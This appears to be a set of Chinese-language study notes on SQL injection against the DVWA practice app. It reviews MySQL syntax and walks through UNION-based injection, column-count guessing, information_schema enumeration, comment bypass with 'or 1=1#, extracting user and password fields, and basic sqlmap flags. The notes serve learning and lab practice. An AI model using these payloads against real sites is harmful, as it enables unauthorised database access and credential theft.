SQL注入

手动

查找主人的

自动

扫描注入点

尝试各种组合语法

sql注入

sql语句复习

show databases

使用库 use 库

查看默认库 select database();

查看所有表:show tables;

查看标结构:desc 表

查看创建表sql语句:show create table user\G

查看当前默认用户 :select user()

查询所有字段:select *from users;

查询指定字段:select user,password from users

条件查询:select *from users where user='admin'

逻辑与:select * from users where user='admin' and user_id=6

逻辑或:select * from users where user='admin' and user_id=5

UNION语句:sql注入漏洞

作用:将两条sql语句联合起来查询

语法:sql1 union sql2

两条sql语句查询字段数必须相同

select user,password from mysql.user;

union

select user,password from mysql.users;

使用数字代替列,猜测前面表查询寻找列表数:

第一次猜:select * from dvwa.users union select 1;

第二次猜:select * from dvwa.users union select 1,2;

第三次猜:select * from dvwa.users union select 1,2,3;

第四次猜:select * from dvwa.users union select 1,2,3,4;

特殊库:information_schema

作用:存储mysql中所有库名,表名,列名,是sql数据的字典

应用:sql注入经常从此库中获取需要的库名,表名,字段名

        tables表:记录mysql表中所有的表

        columns表:记录mysql库中所有的表和列

select *  from information_schema.TABLES\G

select * from information_schema.COLUMNS\G

关注字段:

TABLE_SCHEMA:数据库名

TABLE_NAME:表名

COLUMN_NAME:列名

show databases 等同于 select DISTINCT TABLE_SCHEMA FROM information_schema.TABLES

show tables等同于select TABLE_NAME FROM information_schema.TABLES where TABLE.SCHEMA='dvwa'

sql注释:注释语句不会被执行,在sql注入中可以将查询条件注释掉

单行注释:

语法1#:select * from users;#查询users表所有信息

语法2--:select * from users; -- 查询users表所有信息

多行注释:

/*多行注释*/

select * from user where username=$user AND password=$pwd

$user=admin# $pwd=123

则从AND开始后面的部分会被注释掉

变为select * from user where username =admin   只要username=admin就能返回值

注入流程:收集项目信息(操作系统,数据库类型,web服务器类型)

查找注入点

注入sql语句

获取数据库信息

破解数据库管理员账户密码

开始sql-shell等工具登录并获取数据

直接只输入一个单引号看是否会报错

目的:获取当前表所有信息

输入:'or 1=1#

        单引号':闭合前面的条件

        #:注释后面单引号

案例:

#第一次猜测

'union select 1#

#第二次猜测:

'union select 1,2#

#结果:直到不报语法错误,确认结果几个字段

获取当前数据库名

' select 1,database()#

' union select table_name,1 from information_schema.tables where TABLE_SCHEMA='dvwa'

' union select COLUMN_NAME,1 from information_schema.columns where TABLE_NAME='users'#

问题:由于后台sql默认查询字段数限制,注入时只能获取相同字段的数据

思路:使用concat函数

select user_id,concat(user,password) from dvwa.users;

select user_id,concat('user:',user,' password:',password) from dvwa.users;

sqlmap 参数

参数:

-u:扫描的目标url

--batch:自动处理提示信息

--cookie:附加cookie参数

你可能感兴趣的:(sql,数据库)